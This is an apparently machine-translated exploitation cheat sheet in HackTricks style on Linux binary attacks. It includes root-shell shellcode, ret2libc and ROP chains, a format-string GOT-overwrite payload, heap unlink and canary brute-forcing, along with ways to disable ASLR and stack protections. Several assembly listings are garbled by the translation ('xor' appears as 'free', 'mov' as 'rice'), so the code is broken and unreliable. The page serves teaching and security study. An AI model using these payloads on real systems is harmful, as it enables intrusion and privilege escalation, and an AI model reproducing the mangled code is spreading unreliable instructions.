!!! Do not expect 100% accurate translation, this is experimental.
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥
- Do you work in a cybersecurity company? Do you want to see your company advertised in HackTricks? or do you want to have access to the latest version of the PEASS or download HackTricks in PDF? Check the SUBSCRIPTION PLANS!
- Discover The PEASS Family, our collection of exclusive NFTs
- Get the official PEASS & HackTricks swag
- Join the 💬 Discord group or the telegram group or follow me on Twitter 🐦@carlospolopm.
- Share your hacking tricks by submitting PRs to the hacktricks repo and hacktricks-cloud repo.
Address Randomization
Disable randomization(ASLR) GLOBAL (root):
echo 0 > /proc/sys/kernel/randomize_va_space
Reactivate GLOBAL randomization: echo 2 > /proc/sys/kernel/randomize_va_space
Disable for one run (no root required):
setarch `arch` -R ./example arguments
setarch `uname -m` -R ./example arguments
Disable execution protection on stack
gcc -fno-stack-protector -D_FORTIFY_SOURCE=0 -z norelro -z execstack example.c -o example
Core file
ulimit -c unlimited
gdb /exec core_file
/etc/security/limits.conf -> * soft core unlimited
Text
Data
BSS
Heap
Stack
BSS Section: Uninitialized Static or Global Variables
static int i;
DATA Section: Initialized global or static variables
int i = 5;
TEXT Section: Code instructions (opcodes)
HEAP section: Dynamically reserved buffers (malloc(), calloc(), realloc() )
STACK section: The stack (Passed arguments, environment strings (env), local variables…)
buffer overflow, buffer overrun, stack overrun, stack smashing
Segmentation fault or segment violation: When trying to access a memory address that has not been assigned to the process.
To get the address of a function inside a program you can do:
objdump -d ./PROGRAM | grep FUNCTION
{% content-ref url="rop-syscall-execv.md" %} rop-syscall-execv.md {% endcontent-ref %}
View kernel interrupts: cat /usr/include/i386-linux-gnu/asm/unistd_32.h | grep “__NR_”
setreuid(0,0); // __NR_setreuid 70
execve(“/bin/sh”, args[], NULL); // __NR_execve 11
exit(0); // __NR_exit 1
xor eax, eax ; limpiamos eax
xor ebx, ebx ; ebx = 0 since there is no argument to pass
mov al, 0x01 ; eax = 1 —> __NR_exit 1
int 0x80 ; run syscall
nasm -f elf assembly.asm —> Returns a .o
ld assembly.o -o shellcodeout —> Gives us an executable made up of the assembly code and we can get the opcodes with objdump
objdump -d -Mintel ./shellcodeout —> To see what our shellcode is and get the OpCodes
Verify that the shellcode works
char shellcode[] = “\x31\xc0\x31\xdb\xb0\x01\xcd\x80”
void main(){
void (*fp) (void);
fp = (void *)shellcode;
fp();
}<span id="mce_marker" data-mce-type="bookmark" data-mce-fragment="1"></span>
To see that the system calls are made correctly the above program must be compiled and the system calls must appear in strace ./PROGRAM_COMPILED
When creating shellcodes you can perform the following trick. The first instruction is a jump to a call. This calls the original code and also puts the EIP on the stack. After the call instruction we have entered the string that we need, so with that EIP we can point to the string and also continue executing the code.
E.g. trick (/bin/sh):
jmp 0x1f ; Jump to last call
popl %how ; We save the address to the string in that
movl %esi, 0x8(%esi) ; Double concatenate the string (in this case /bin/sh)
chorale %eax, %eax ; eax = NULL
movb %eax, 0x7(%esi) ; We put a NULL at the end of the first /bin/sh
movl %eax, 0xc(%esi) ; We put a NULL at the end of the second /bin/sh
movl $0xb, %eax ; Syscall 11
movl %esi, %ebx ; arg1=“/bin/sh”
leal 0x8(%esi), %ecx ; arg[2] = {“/bin/sh”, “0”}
leal 0xc(%esi), %edx ; arg3 = NULL
int $0x80 ; excve(“/bin/sh”, [“/bin/sh”, NULL], NULL)
chorale %ebx, %ebx ; ebx = NULL
movl %ebx, %eax
inc %eax ; Syscall 1
int $0x80 ; exit(0)
call -0x24 ; Jump to the first instruction
.string \”/bin/sh\” ; String a usar<span id="mce_marker" data-mce-type="bookmark" data-mce-fragment="1"></span>
E.g. using Stack(/bin/sh):
section .text
global _start
_start:
free eax, eax ;Cleaning
rice al, 0x46 ; Syscall 70
free ebx, ebx ; arg1 = 0
free ecx, ecx ; arg2 = 0
int 0x80 ; setreuid(0,0)
free eax, eax ; eax = 0
push eax ; “\0”
push dword 0x68732f2f ; “//sh”
push dword 0x6e69622f; “/bin”
rice ebx, esp ; arg1 = “/bin//sh\0”
push eax ; Null -> args[1]
push ebx ; “/bin/sh\0” -> args[0]
rice ecx, esp ; arg2 = args[]
rice al, 0x0b ; Syscall 11
int 0x80 ; excve(“/bin/sh”, args[“/bin/sh”, “NULL”], NULL)
E.g. FNSTENV:
fabs
fnstenv [esp-0x0c]
pop eax ; Saves the EIP on which fabs was run
…
Egg Hunts:
It consists of a small code that goes through the memory pages associated with a process in search of the shellcode stored there (it looks for a signature placed in the shellcode). Useful in cases where you only have a small space to inject code.
Shellcodes (polymorphic)
They consist of encrypted shells that have a small code that decrypts them and jumps into it, using the Call-Pop trick this would be an caesar encrypted example:
global _start
_start:
jmp short magic
heat:
pop how
free ecx, ecx
rice cl,0 ; You have to replace the 0 with the length of the shellcode (it is what it will go through)
desc:
sub byte[esi + ecx -1], 0 ; The 0 must be replaced by the number of bytes to be subtracted (caesar cipher)
sub cl, 1
jnz desc
jmp short sc
magic:
call init
sc:
;Here goes the shellcode
- Attacking the Frame Pointer (EBP)
Useful in a situation where we can modify the EBP but not the EIP.
It is known that exiting a function executes the following assembly code:
movl %ebp, %esp
popl %ebp
right
In this way, if the EBP can be modified when exiting a function (fvuln) that has been called by another function, when the function that called fvuln ends, its EIP can be modified.
In fvuln you can enter a fake EBP that points to a site where the address of the shellcode + 4 is (you have to add 4 for the pop). Thus, when exiting the function, the value of &(&Shellcode)+4 will be inserted in ESP, with the pop 4 will be subtracted from the ESP and this will point to the address of the shellcode when the ret is executed.
Exploit:
&Shellcode + "AAAA" + SHELLCODE + padding + &(&Shellcode)+4
Off-by-One Exploit
It is allowed to modify only the least significant byte of the EBP. An attack like the one above can be carried out but the memory that stores the shellcode address must share the first 3 bytes with the EBP.
Useful method when the stack is not executable or leaves a very small buffer to modify.
The ASLR causes that in each execution the functions are loaded in different positions of the memory. Therefore this method may not be effective in that case. For remote servers, as the program is constantly running at the same address, it can be useful.
- cdecl(C declaration) Puts the arguments on the stack and after exiting the function clears the stack
- stdcall(standard call) Pushes the arguments onto the stack and is cleared by the called function
- fastcall Push the first two arguments into registers and the rest onto the stack
The address of the libc system statement is given and the string “/bin/sh” is passed as an argument, usually from an environment variable. In addition, the address to the exit function is used so that once the shell is no longer required, the program will exit without causing problems (and writing logs).
export SHELL=/bin/sh
To find the addresses we need, we can look inside GDB:
p system
p exit
rabin2 -i executable —> Gives the address of all the functions that the program uses when loading
(Within a start or some breakpoint): x/500s $esp —> We look inside here for the string /bin/sh
Once we have these addresses the exploit would be:
“A” * EBP DISTANCE + 4 (EBP: can be 4 "A"s although better if it is the real EBP to avoid segmentation faults) + Address of system (it will overwrite the EIP) + Address of ** exit** (when exiting system(“/bin/sh”) this function will be called since the first 4bytes of the stack are treated as the next EIP address to execute) + Address of “/bin/sh ” (will be the parameter passed to system)
In this way, the EIP will be overwritten with the system address which will receive the string “/bin/sh” as a parameter and when exiting from this it will execute the exit() function.
It is possible to find yourself in the situation that some byte of some address of some function is null or space (\x20). In this case, you can disassemble the addresses prior to said function, since there are probably several NOPs that allow us to call one of them instead of the function directly (for example with > x/8i system-4).
This method works because when calling a function like system using the ret opcode instead of call, the function understands that the first 4 bytes will be the EIP address to return to.
An interesting technique with this method is to call strncpy() to move a payload from the stack to the heap and then use gets() to execute that payload.
Another interesting technique is the use of mprotect() which allows you to assign the desired permissions to any part of memory. It works or used to work on BDS, MacOS and OpenBSD, but not on linux (it controls that write and execute permissions cannot be granted at the same time). This attack could reconfigure the stack as executable.
Function chaining
Based on the previous technique, this form of exploit consists of:
Padding + &Function1 + &pop;ret; + &arg_fun1 + &Function2 + &pop;ret; + &arg_fun2 + …
This way you can chain functions to call. Also, if you want to use functions with several arguments, you can have the necessary arguments (eg 4) and put the 4 arguments and search for a site address with opcodes: pop, pop, pop, pop, ret —> objdump - d executable
Chaining by falsifying frames (chaining of EBPs)
It consists of taking advantage of the power to manipulate the EBP to chain the execution of various functions through the EBP and "leave;ret"
STUFFED
- We place a false EBP in the EBP that points to: 2nd EBP_false + the function to execute: (&system() + &leave;ret + &“/bin/sh”)
- In the EIP we add a function &(leave;ret) to the address
We start the shellcode with the address to the next part of the shellcode, for example: 2ºEBP_false + &system() + &(leave;ret;) + &”/bin/sh”
the 2nd EBP would be: 3rd EBP_false + &system() + &(leave;ret;) + &”/bin/ls”
This shellcode can be repeated indefinitely in the parts of memory that are accessed in such a way that shellcode will be easily divisible by small pieces of memory.
(The execution of functions is chained by mixing the previously seen vulnerabilities of EBP and ret2lib)
Ret2Ret
Useful for when you can't fit a stack address into the EIP (check that the EIP doesn't contain 0xbf) or when you can't calculate the location of the shellcode. But, the vulnerable function accepts a parameter (the shellcode will go here).
This way, changing the EIP for an address to a ret will load the next address (which is the address of the first argument to the function). That is, the shellcode will be loaded.
The exploit would be: SHELLCODE + Padding (up to EIP) + &ret (the following bytes on the stack point to the start of the shellcode as the address to the passed parameter is placed on the stack)
Apparently functions like strncpy once complete remove the address where the shellcode was stored from the stack, making this technique impossible. That is, the address passed to the function as an argument (the one stored by the shellcode) is modified by a 0x00, so when calling the second ret it finds a 0x00 and the program dies.
Ret2PopRet
If we don't have control over the first argument but we do have control over the second or third, we can override EIP with an address to pop-ret or pop-pop-ret, depending on what we need.
Murat technique
In linux all programs are mapped starting at 0xbfffffff
Seeing how the stack of a new linux process is built, an exploit can be developed so that the program is started in an environment whose only variable is the shellcode. The address of it can then be computed as: addr = 0xbfffffff - 4 - strlen(Full_executable_NAME) - strlen(shellcode)
In this way, the address where the environment variable is with the shellcode would be obtained in a simple way.
This can be done thanks to the fact that the execle function allows you to create an environment that only has the environment variables that you want
Jump to ESP: Windows Style
Since the ESP is always pointing to the beginning of the stack, this technique consists of substituting the EIP with the address of a call to jmp esp or call esp. In this way, the shellcode is saved after the overwriting of the EIP since after executing the ret the ESP will find itself pointing to the next address, right where the shellcode has been saved.
If you do not have ASLR active on Windows or Linux, you can call jmp esp or call esp stored in a shared object. In case the ASLR is present, it could be searched within the vulnerable program itself.
Also, being able to place the shellcode after the EIP corruption instead of in the middle of the stack means that push or pop instructions executed in the middle of the function don't actually touch the shellcode (which could happen in case of getting in the middle of the stack of the function).
Much like this, if we know that a function returns the address where the shellcode is stored, we can call call eax or jmp eax (ret2eax).
ROP (Return Oriented Programming) or borrowed code chunks
The pieces of code that are called are known as gadgets.
This technique consists of chaining together different function calls using the ret2libc technique and the use of pop,ret.
In some processor architectures each instruction is a set of 32 bits (MIPS for example). However, on Intel instructions are variable in size and multiple instructions can share a set of bits, for example:
movl $0xe4ff, -0x(%ebp) —> Contains the 0xffe4 bytes which are also translated by: jmp *%esp
In this way you can execute some instructions that really are not even in the original program
ROPgadget.py helps us find values in binaries
This program is also used to create the payloads. You can give him the library from which you want to get the ROPs and he will generate a payload in python to which you give the address where said library is located and the payload is ready to be used as shellcode. Also, since it uses system calls, it doesn't really execute anything on the stack, but only saves addresses of ROPs that will be executed using ret. To use this payload, you must call the payload with a ret statement.
Integer overflows
This type of overflow occurs when a variable is not prepared to support a number as large as it is passed, possibly due to a confusion between signed and unsigned variables, for example:
#include <stdion.h>
#include <string.h>
#include <stdlib.h>
int main(int argc, char *argv[]){
int len;
unsigned int l;
char buffer[256];
int i;
len = l = strtoul(argv[1], NULL, 10);
printf("\nL = %u\n", l);
printf("\nLEN = %d\n", len);
if (len >= 256){
printf("\nExcessive length\n");
exit(1);
}
if(strlen(argv[2]) < l)
strcpy(buffer, argv[2]);
else
printf("\nHack attempt\n");
return 0;
}In the previous example we see that the program expects 2 parameters. The first the length of the next string and the second the string.
If we pass a negative number as the first parameter, it will output len < 256 and we will pass that filter, and also strlen(buffer) will be less than l, since l is unsigned int and will be very large.
This type of overflow does not seek to write something in the program process, but to overcome poorly designed filters to exploit other vulnerabilities.
Variables not initialized
The value that an uninitialized variable can take is unknown and might be interesting to look at. It may be that it takes the value that a variable of the previous function took and this is controlled by the attacker.
In C printf is function that can be used to print some string. The first parameter this function expects is the raw text with the formatters. The following parameters expected are the values to substitute the formatters from the raw text.
The vulnerability appears when an attacker text is put as the first argument to this function. The attacker will be able to craft a special input abusing the printf format string capabilities to write any data in any address. Being able this way to execute arbitrary code.
Fomatters:
%08x —> 8 hex bytes
%d —> Entire
%u —> Unsigned
%s —> String
%n —> Number of written bytes
%hn —> Occupies 2 bytes instead of 4
<n>$X —> Direct access, Example: ("%3$d", var1, var2, var3) —> Access to var3%n writes the number of written bytes in the indicated address. Writing as much bytes as the hex number we need to write is how you can write any data.
AAAA%.6000d%4\$n —> Write 6004 in the address indicated by the 4º param
AAAA.%500\$08x —> Param at offset 500This is the table that contains the address to the external functions used by the program.
Get the address to this table with: objdump -s -j .got ./exec
Observe how after loading the executable in GEF you can see the functions that are in the GOT: gef➤ x/20x 0xDIR_GOT
Using GEF you can start a debugging session and execute got to see the got table:
In a binary the GOT has the addresses to the functions or to the PLT section that will load the function address. The goal of this exploit is to override the GOT entry of a function that is going to be executed later with the address of the PLT of the system function. Ideally, you will override the GOT of a function that is going to be called with parameters controlled by you (so you will be able to control the parameters sent to the system function).
If system isn't used by the script, the system function won't have an entry in the GOT. In this scenario, you will need to leak first the address of the system function.
Procedure Linkage Table is a read only table in ELF file that stores all necessary symbols that need a resolution. When one of these functions are called the GOT will redirect the flow to the PLT so it can resolve the address of the function and write it on the GOT.
Then, the next time a call is performed to that address the function is called directly without needing to resolve it.
You can see the PLT addresses with objdump -j .plt -d ./vuln_binary
As explained before the goal is going to be to overwrite the address of a function in the GOT table that is going to be called later. Ideally we could set the address to a shellcode located in a executable section, but highly probable you won't be able to write a shellcode in a executable section.
So a different option is to overwrite a function that receives its arguments from the user and point it to the system function.
To write the address, usually 2 steps are done: You first writes 2Bytes of the address and then the other 2. To do so $hn is used.
HOB is called to the 2 higher bytes of the address
LOB is called to the 2 lower bytes of the address
So, because of how format string works you need to write first the smallest of [HOB, LOB] and then the other one.
If HOB < LOB
[address+2][address]%.[HOB-8]x%[offset]\$hn%.[LOB-HOB]x%[offset+1]
If HOB > LOB
[address+2][address]%.[LOB-8]x%[offset+1]\$hn%.[HOB-LOB]x%[offset]
HOB LOB HOB_shellcode-8 NParam_dir_HOB LOB_shell-HOB_shell NºParam_dir_LOB
`python -c 'print "\x26\x97\x04\x08"+"\x24\x97\x04\x08"+ "%.49143x" + "%4$hn" + "%.15408x" + "%5$hn"'`
You an find a template to exploit the GOT using format-strings here:
{% content-ref url="format-strings-template.md" %} format-strings-template.md {% endcontent-ref %}
Essentially this is a structure with functions that will be called before the program finishes. This is interesting if you can call your shellcode just jumping to an address, or in cases where you need to go back to main again to exploit the format string a second time.
objdump -s -j .fini_array ./greeting
./greeting: file format elf32-i386
Contents of section .fini_array:
8049934 a0850408
#Put your address in 0x8049934Note that this won't create an eternal loop because when you get back to main the canary will notice, the end of the stack might be corrupted and the function won't be recalled again. So with this you will be able to have 1 more execution of the vuln.
A format string can also be abused to dump content from the memory of the program.
For example, in the following situation there is a local variable in the stack pointing to a flag. If you find where in memory the pointer to the flag is, you can make printf access that address and print the flag:
So, flag is in 0xffffcf4c
And from the leak you can see the pointer to the flag is in the 8th parameter:
So, accessing the 8th parameter you can get the flag:
Note that following the previous exploit and realising that you can leak content you can set pointers to printf to the section where the executable is loaded and dump it entirely!
{% hint style="danger" %} Nowadays is very weird to find a binary with a dtor section. {% ending %}
The destructor are functions that are executed before program finishes.
If you manage to write an address to a shellcode in __DTOR_END__ , that will be executed before the programs ends.
Get the address of this section with:
objdump -s -j .dtors /exec
rabin -s /exec | grep "__DTOR"Usually you will find the DTOR section between the values ffffffff and 00000000. So if you just see those values, it means that there isn't any function registered. So overwrite the 00000000 with the address to the shellcode to execute it.
Tthe sprintf moves a formatted string to a variable. Therefore, you could abuse the formatting of a string to cause a buffer overflow in the variable where the content is copied to.
For example, the payload %.44xAAAA will write 44B+"AAAA" in the variable, which may cause a buffer overflow.
{% hint style="danger" %} Nowadays is very weird to exploit this. {% ending %}
atexit() is a function to which other functions are passed as parameters. These functions will be executed when executing an exit() or the return of the main.
If you can modify the address of any of these functions to point to a shellcode for example, you will gain control of the process, but this is currently more complicated.
Currently the addresses to the functions to be executed are hidden behind several structures and finally the address to which it points are not the addresses of the functions, but are encrypted with XOR and displacements with a random key. So currently this attack vector is not very useful at least on x86 and x64_86.
The encryption function is PTR_MANGLE. Other architectures such as m68k, mips32, mips64, aarch64, arm, hppa... do not implement the encryption function because it returns the same as it received as input. So these architectures would be attackable by this vector.
{% hint style="danger" %} Nowadays is very weird to exploit this. {% ending %}
Setjmp() allows to save the context (the registers)
longjmp() allows to restore the context.
The saved registers are: EBX, ESI, EDI, ESP, EIP, EBP
What happens is that EIP and ESP are passed by the PTR_MANGLE function, so the architecture vulnerable to this attack are the same as above.
They are useful for error recovery or interrupts.
However, from what I have read, the other registers are not protected, so if there is a call ebx, call esi or call edi inside the function being called, control can be taken over. Or you could also modify EBP to modify the ESP.
VTable and VPTR in C++
Each class has a Vtable which is an array of pointers to methods.
Each object of a class has a VPtr which is a pointer to the arrayof its class. The VPtr is part of the header of each object, so if an overwrite of the VPtr is achieved it could be modified to point to a dummy method so that executing a function would go to the shellcode.
ASLR not so random
PaX divides the address space of the process into 3 groups:
Started and unstarted code and data: .text, .data and .bss —> 16bits of entropy in the delta_exec variable, this variable is started randomly with each process and is added to the starting addresses
Memory allocated by mmap() and shared libraries —> 16bits, delta_mmap
The stack —> 24bits, delta_stack —> Actually 11 (from 10th to 20th byte inclusive) —>aligned to 16bytes —> 524,288 possible real addresses of the stack
Environment variables and arguments travel less than one buffer on the stack.
Return-into-printf
It is a technique for converting a buffer overflow into a format string error. It consists of replacing the EIP so that it points to a printf of the function and passing it as an argument a format string manipulated to obtain values about the state of the process.
Attack on bookstores
The libraries are in a position with 16 bits of randomness = 65636 possible addresses. If a vulnerable host calls fork() the memory address space is allocated to the child process and remains intact. Therefore, you can try to make a brute force to the libc usleep() function by passing it "16" as an argument so that when it takes longer than normal to respond, said function will have been found. Knowing where this function is, you can obtain delta_mmap and calculate the rest.
The only way to be sure ASLR works is to use 64bit architecture. There are no brute force attacks.
StackGuard y StackShield
StackGuard inserts before EIP —> 0x000aff0d(null, \n, EndOfFile(EOF), \r) —> recv(), memcpy(), read(), bcoy() remain vulnerable and does not protect the EBP
StackShield is more elaborate than StackGuard
It stores in a table (Global Return Stack) all the return EIP addresses so that the overflow does not cause any damage. In addition, both addresses can be compared to see if there has been an overflow.
You can also check the return address with a limit value, so if the EIP goes to a different place than usual like the data space you will know. But this is circumvented with Ret-to-lib, ROPs or ret2ret.
As you can see stackshield doesn't protect local variables either.
Stack Smash Protector (ProPolice) -fstack-protector
The canary is put before the EBP. Reorders local variables so that buffers are in the highest positions so they can't overwrite other variables.
Also, it makes a safe copy of the arguments passed on top of the stack (on top of the local vars) and uses these copies as arguments.
You cannot protect arrays with less than 8 elements or buffers that are part of a user structure.
The canary is a random number taken from “/dev/urandom” or else it is 0xff0a0000. It is stored in TLS (Thread Local Storage). The threads share the same memory space, the TLS is an area that holds global or static variables of each thread. However, in ppio these are copied from the parent process, although the child process could modify this data without modifying that of the parent or the other children. The problem is that if fork() is used but a new canary is not created, then all processes (parent and children) use the same canary. On i386 it is stored at gs:0x14 and on x86_64 it is stored at fs:0x28
This protection locates functions that have buffers that can be attacked and includes code at the bottom of the function to place the canary and code at the end to check it.
The fork() function makes an exact copy of the parent process, so if a web server calls fork() it can do a byte-by-byte brute force attack to find out which canary is being used.
If the execve() function is used after fork(), the space is overwritten and the attack is no longer possible. vfork() allows the child process to run without creating a duplicate until the child process tried to write, then it did create the duplicate.
Relocation Read-Only (RELRO)
Relro (Read only Relocation) affects the memory permissions similar to NX. The difference is whereas with NX it makes the stack executable, RELRO makes certain things read only so we can't write to them. The most common way I've seen this be an obstacle is preventing us from doing a got table overwrite, which will be covered later. The got table holds addresses for libc functions so that the binary knows what the addresses are and can call them. Let's see what the memory permissions look like for a got table entry for a binary with and without relro.
With relro:
gef➤ vmmap
Start End Offset Perm Path
0x0000555555554000 0x0000555555555000 0x0000000000000000 r-- /tmp/tryc
0x0000555555555000 0x0000555555556000 0x0000000000001000 r-x /tmp/tryc
0x0000555555556000 0x0000555555557000 0x0000000000002000 r-- /tmp/tryc
0x0000555555557000 0x0000555555558000 0x0000000000002000 r-- /tmp/tryc
0x0000555555558000 0x0000555555559000 0x0000000000003000 rw- /tmp/tryc
0x0000555555559000 0x000055555557a000 0x0000000000000000 rw- [heap]
0x00007ffff7dcb000 0x00007ffff7df0000 0x0000000000000000 r-- /usr/lib/x86_64-linux-gnu/libc-2.29.so
0x00007ffff7df0000 0x00007ffff7f63000 0x0000000000025000 r-x /usr/lib/x86_64-linux-gnu/libc-2.29.so
0x00007ffff7f63000 0x00007ffff7fac000 0x0000000000198000 r-- /usr/lib/x86_64-linux-gnu/libc-2.29.so
0x00007ffff7fac000 0x00007ffff7faf000 0x00000000001e0000 r-- /usr/lib/x86_64-linux-gnu/libc-2.29.so
0x00007ffff7faf000 0x00007ffff7fb2000 0x00000000001e3000 rw- /usr/lib/x86_64-linux-gnu/libc-2.29.so
0x00007ffff7fb2000 0x00007ffff7fb8000 0x0000000000000000 rw-
0x00007ffff7fce000 0x00007ffff7fd1000 0x0000000000000000 r-- [vvar]
0x00007ffff7fd1000 0x00007ffff7fd2000 0x0000000000000000 r-x [vdso]
0x00007ffff7fd2000 0x00007ffff7fd3000 0x0000000000000000 r-- /usr/lib/x86_64-linux-gnu/ld-2.29.so
0x00007ffff7fd3000 0x00007ffff7ff4000 0x0000000000001000 r-x /usr/lib/x86_64-linux-gnu/ld-2.29.so
0x00007ffff7ff4000 0x00007ffff7ffc000 0x0000000000022000 r-- /usr/lib/x86_64-linux-gnu/ld-2.29.so
0x00007ffff7ffc000 0x00007ffff7ffd000 0x0000000000029000 r-- /usr/lib/x86_64-linux-gnu/ld-2.29.so
0x00007ffff7ffd000 0x00007ffff7ffe000 0x000000000002a000 rw- /usr/lib/x86_64-linux-gnu/ld-2.29.so
0x00007ffff7ffe000 0x00007ffff7fff000 0x0000000000000000 rw-
0x00007ffffffde000 0x00007ffffffff000 0x0000000000000000 rw- [stack]
0xffffffffff600000 0xffffffffff601000 0x0000000000000000 r-x [vsyscall]
gef➤ p fgets
$2 = {char *(char *, int, FILE *)} 0x7ffff7e4d100 <_IO_fgets>
gef➤ search-pattern 0x7ffff7e4d100
[+] Searching '\x00\xd1\xe4\xf7\xff\x7f' in memory
[+] In '/tmp/tryc'(0x555555557000-0x555555558000), permission=r--
0x555555557fd0 - 0x555555557fe8 → "\x00\xd1\xe4\xf7\xff\x7f[...]"Without relro:
gef➤ vmmap
Start End Offset Perm Path
0x0000000000400000 0x0000000000401000 0x0000000000000000 r-- /tmp/try
0x0000000000401000 0x0000000000402000 0x0000000000001000 r-x /tmp/try
0x0000000000402000 0x0000000000403000 0x0000000000002000 r-- /tmp/try
0x0000000000403000 0x0000000000404000 0x0000000000002000 r-- /tmp/try
0x0000000000404000 0x0000000000405000 0x0000000000003000 rw- /tmp/try
0x0000000000405000 0x0000000000426000 0x0000000000000000 rw- [heap]
0x00007ffff7dcb000 0x00007ffff7df0000 0x0000000000000000 r-- /usr/lib/x86_64-linux-gnu/libc-2.29.so
0x00007ffff7df0000 0x00007ffff7f63000 0x0000000000025000 r-x /usr/lib/x86_64-linux-gnu/libc-2.29.so
0x00007ffff7f63000 0x00007ffff7fac000 0x0000000000198000 r-- /usr/lib/x86_64-linux-gnu/libc-2.29.so
0x00007ffff7fac000 0x00007ffff7faf000 0x00000000001e0000 r-- /usr/lib/x86_64-linux-gnu/libc-2.29.so
0x00007ffff7faf000 0x00007ffff7fb2000 0x00000000001e3000 rw- /usr/lib/x86_64-linux-gnu/libc-2.29.so
0x00007ffff7fb2000 0x00007ffff7fb8000 0x0000000000000000 rw-
0x00007ffff7fce000 0x00007ffff7fd1000 0x0000000000000000 r-- [vvar]
0x00007ffff7fd1000 0x00007ffff7fd2000 0x0000000000000000 r-x [vdso]
0x00007ffff7fd2000 0x00007ffff7fd3000 0x0000000000000000 r-- /usr/lib/x86_64-linux-gnu/ld-2.29.so
0x00007ffff7fd3000 0x00007ffff7ff4000 0x0000000000001000 r-x /usr/lib/x86_64-linux-gnu/ld-2.29.so
0x00007ffff7ff4000 0x00007ffff7ffc000 0x0000000000022000 r-- /usr/lib/x86_64-linux-gnu/ld-2.29.so
0x00007ffff7ffc000 0x00007ffff7ffd000 0x0000000000029000 r-- /usr/lib/x86_64-linux-gnu/ld-2.29.so
0x00007ffff7ffd000 0x00007ffff7ffe000 0x000000000002a000 rw- /usr/lib/x86_64-linux-gnu/ld-2.29.so
0x00007ffff7ffe000 0x00007ffff7fff000 0x0000000000000000 rw-
0x00007ffffffde000 0x00007ffffffff000 0x0000000000000000 rw- [stack]
0xffffffffff600000 0xffffffffff601000 0x0000000000000000 r-x [vsyscall]
gef➤ p fgets
$2 = {char *(char *, int, FILE *)} 0x7ffff7e4d100 <_IO_fgets>
gef➤ search-pattern 0x7ffff7e4d100
[+] Searching '\x00\xd1\xe4\xf7\xff\x7f' in memory
[+] In '/tmp/try'(0x404000-0x405000), permission=rw-
0x404018 - 0x404030 → "\x00\xd1\xe4\xf7\xff\x7f[...]"For the binary without relro, we can see that the got entry address for fgets is 0x404018. Looking at the memory mappings we see that it falls between 0x404000 and 0x405000, which has the permissions rw, meaning we can read and write to it. For the binary with relro, we see that the got table address for the run of the binary (pie is enabled so this address will change) is 0x555555557fd0. In that binary's memory mapping it falls between 0x0000555555557000 and 0x0000555555558000, which has the memory permission r, meaning that we can only read from it.
So what's the bypass? The typical bypass I use is to just don't write to memory regions that relro causes to be read only, and find a different way to get code execution.
Note that in order for this to happen the binary needs to know previous to execution the addresses to the functions:
- Lazy binding: The address of a function is searched the first time the function is called. So, the GOT needs to have write permissions during execution.
- Bind now: The addresses of the functions are solved at the begginig of the execution, then read-only permissions are given to sensitive sections like .got, .dtors, .ctors, .dynamic, .jcr.
`**-z relro**y**-z now`**
To check if a program uses Bind now you can do:
readelf -l /proc/ID_PROC/exe | grep BIND_NOWWhen the binary is loaded into memory and a function is called for the first time it jumps to the PLT (Procedure Linkage Table), from here it makes a jump (jmp) to the GOT and discovers that this entry has not been resolved (contains a next address of the PLT). So it calls the Runtime Linker or rtfd to resolve the address and save it in the GOT.
When a function is called the PLT is called, this has the address of the GOT where the address of the function is stored, so it redirects the stream there and thus the function is called. However, if this is the first time the function is called, what is in the GOT is the next PLT statement, so the flow follows the PLT code (rtfd) and finds out the address of the function. , saves it in the GOT and calls it.
By loading a binary into memory, the compiler has told it at what offset to place data that should be loaded when the program is run.
Lazy binding —> The address of the function is searched for the first time the function is called, so the GOT has write permissions so that when it is searched, it is saved there and does not have to be searched for again.
Bind now —> The addresses of the functions are searched at program load and the permissions of the .got, .dtors, .ctors, .dynamic, .jcr sections are changed to read-only. -z relro and -z now
Despite this, in general the programs are not complicated with these options so these attacks are still possible.
readelf -l /proc/ID_PROC/exe | grep BIND_NOW —> To find out if you use the BIND NOW
Fortify Source -D_FORTIFY_SOURCE=1 o =2
It tries to identify functions that copy from one site to another in an insecure way and change the function to a safe function.
Let's go:
char buf[16];
strcpy(but, source);
It identifies it as insecure and then changes strcpy() to __strcpy_chk() using the buffer size as the maximum copy size.
The difference between =1 or =2 is that:
The second one doesn't allow %n to come from a writable section. In addition, the parameter for direct access to arguments can only be used if the previous ones are used, that is, %3$d can only be used if %2$d and % have been used before. $1d
The argv[0] is used to display the error message, so if you put in the address of another site (as a global variable) the error message will display the content of that variable. page 191
Libsafe replacement
It is activated with: LD_PRELOAD=/lib/libsafe.so.2
O
“/lib/libsave.so.2” > /etc/ld.so.preload
Calls to some insecure functions are intercepted by secure ones. It is not standardized. (Only for x86, not for builds with -fomit-frame-pointer, not static builds, not all vulnerable features become safe, and LD_PRELOAD doesn't work on binaries with suid).
ASCII Armored Address Space
It consists of loading the shared libraries from 0x00000000 to 0x00ffffff so that there is always a 0x00 byte. However, this doesn't really stop any attacks, especially in little endian.
ret2plt
It consists of performing a ROP so that the function strcpy@plt (from the plt) is called and it points to the GOT input and copies the first byte of the function to be called (system()) . Immediately afterwards, the same thing is done pointing to GOT+1 and the 2nd byte of system() is copied… At the end, the address stored in GOT is called, which will be system()
False EBP
For functions that use the EBP as a register to point to the arguments by modifying the EIP and pointing to system() the EBP must also have been modified to point to a memory zone that has any 2 bytes and then the address to &”/bin/sh”.
Jaulas con chroot()
debootstrap -arch=i386 hardy /home/user —> Install a basic system under a specific subdirectory
An admin can break out of one of these jails by doing: mkdir foo; chroot foo; cd ..
Code Instrumentation
Valgrind —> Check for errors
Memcheck
RAD (Return Address Defender)
Insure++
Assigned Chunk
prev_size |
size | -Headboard
*mem | Data
Free piece
prev_size |
size |
*fd | Ptr forward chunk
*bk | Ptr back chunk —Cabecera
*mem | Data
The free chunks are in a doubly linked list (bin) and there can never be two free chunks together (they get together).
In "size" there are bits to indicate: If the previous chunk is in use, if the chunk has been allocated via mmap() and if the chunk belongs to the primary arena.
If any of the contiguous chunks are found to be free when freeing a chunk, they are merged using the unlink() macro and the new, larger chunk is passed to frontlink() so that it inserts the appropriate bin.
unlink(){
BK = P->bk; —> The BK of the new chunk is the one that had the one that was already free before
FD = P->fd; —> The FD of the new chunk is the one that had the one that was already free before
FD->bk = BK; —> The BK of the next chunk points to the new chunk
BK->fd = FD; —> The FD of the old chunk points to the new chunk
}
Therefore, if we manage to modify the P->bk with the address of a shellcode and the P->fd with the address of an entry in the GOT or DTORS minus 12, we achieve:
BK = P->bk = &shellcode
FD = P->fd = &__dtor_end__ - 12
